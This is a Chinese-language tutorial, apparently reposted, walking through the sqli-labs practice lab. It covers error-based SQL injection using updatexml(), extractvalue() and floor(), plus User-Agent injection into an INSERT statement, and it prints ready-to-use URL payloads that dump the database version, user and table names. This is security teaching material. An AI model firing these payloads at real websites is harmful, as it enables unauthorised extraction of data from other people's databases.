深入淺出帶你玩轉sqlilabs(四)-updatexml(),floor(),extractvalue()報錯注入


SQL各種參數類型下的注入測試

數字型-sqlilabs less2

前面文章已演示過

 

字符型-sqlilabs less1

前面文章已演示過

 

搜索型-自寫測試

如:

www.test.com/index.php?id=1

www.test.com/index.php?id=abc

(搜索型,一般產生在網站的搜索框)http://www.test.com/search.php?q=1

 

區分參數類型的原因:

當參數類型為數字時,sql語句拼接可以不用引號或其他符號進行概括,而參數類型為字符串時,sql語句拼接必須使用引號或其他符號進行概括,從而由此分析,在進行sql注入時,如果出現符號,那么注入也要考慮符號的干擾!

 

本地計算機在進行文件搜索時,會經常使用通配符:"*" 星號

在數據庫中搜索遍歷的通配符:"%" 百分號

select * from emails where email_id like '%com%'

從上圖可以看出,數據庫通配符%和計算機搜索通配符*使用方法差不多

 

數字型和字符型的SQL語句:

選擇庫,表

 

數字型選擇列,無單引號

 

字符型選擇列,有單引號

 

 

 

 

 

SQL各種報錯方式下的注入測試

 

此類報錯注入旨在解決無回顯下的注入測試

參考文章:

https://www.wandouip.com/t5i158282/
http://blog.sina.com.cn/s/blog_1450cc4c60102vraq.html

 

mysql sql語句中空格可以使用"+",“/**/”等取代

url中繞過空格使用"%20","+",“/**/”等取代

 

注:MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()這2個函數

 

 

updatexml報錯-sqlilabs less5

updatexml()函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法:updatexml(目標xml文檔,xml路徑,更新的內容)

如:

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

 

報錯方式相同:

如:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

可構造如下payload:

?id=1' and 1=(updatexml(1,concat(0x3a,(select version())),1))--+

?id=1' and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))--+

 

updatexml的爆錯原因很簡單,updatexml第二個參數需要的是Xpath格式的字符串。我們輸入的顯然不符合。故報錯由此報錯

updatexml的最大長度是32位的,所以有所局限(PS:但是應對大多的已經足夠。)

如果密碼長度超過了32位就不會被顯示出來。

 

payload分析:

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。 第三個參數:new_value,String格式,替換查找到的符合條件的數據

 

 

extractvalue報錯-sqlilabs less5

extractvalue()函數也是MYSQL對XML文檔數據進行查詢和修改的XPATH函數

可構造payload:

?id=1' and extractvalue(1,concat(0x7e,user()))--+

?id=1' and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))--+

 

payload分析:

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受兩個字符串參數,一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文本節點的text(),該節點是XPath表達式匹配的元素的子元素。

第一個參數可以傳入目標xml文檔,第二個參數是用Xpath路徑法表示的查找路徑

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。

 

 

floor報錯-sqlilabs less5

構造payload:

?id=1'+and+(select+1+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

?id=-1' and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

 

文章分析payload詳細講解雙查詢注入:

https://blog.csdn.net/lixiangminghate/article/details/80466257

當在一個聚合函數,比如count函數后面如果使用分組語句(group by)就會把查詢的一部分以錯誤的形式顯示出來

 

可以在database()替換要查詢的函數

 

 

 

 

SQL各種查詢方式下的注入測試

select 查詢數據

在網站應用中進行數據顯示查詢操作,前面演示的很多都是

 

insert 插入數據-sqlilabs less18

在網站應用中進行用戶注冊添加等操作

 

 

在登錄界面輸入的用戶名需要進數據庫查詢,有這用戶才可以進行下一步執行

 

用admin賬號密碼登錄一下

同時用seay審計工具的mysql監控插件,監控SQL命令的執行

 

可以看到有個insert的SQL語句,把它復制到MySQL命令行執行

從SQL命令中插入的參數中,有useragent,ip,username插入了數據庫

username參數想要插入到數據庫,就先要通過數據庫里面正確的賬號密碼插入,數據庫沒有的就不能通過,所以在這兩個框中不能進行語句注入

 

 

 

但是看到這里有ip和useragent插入數據庫,我們可以在這上面注入,加個單引號報錯了:

 

猜想在數據中的sql語句為:INSEERT INTO table VALUES('User-Agent','Ip','Username')

接下來我們嘗試在User-Agent的位置進行注入測試,我們修改User-Agnet的值使其符合整個INSERT INTIO 的語法,閉合后就應該為

INSEERT INTO table VALUES('1' ,1,1)#','Ip','Username'),成功繞過

 

運用payload:

 

 

delete 刪除數據

后台管理里面刪除文章刪除用戶等操作

 

update 更新數據

數據同步緩存等操作

通過以上查詢方式與網站應用的關系,可以由注入點產生地方或應用猜測到對方的SQL查詢方式

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM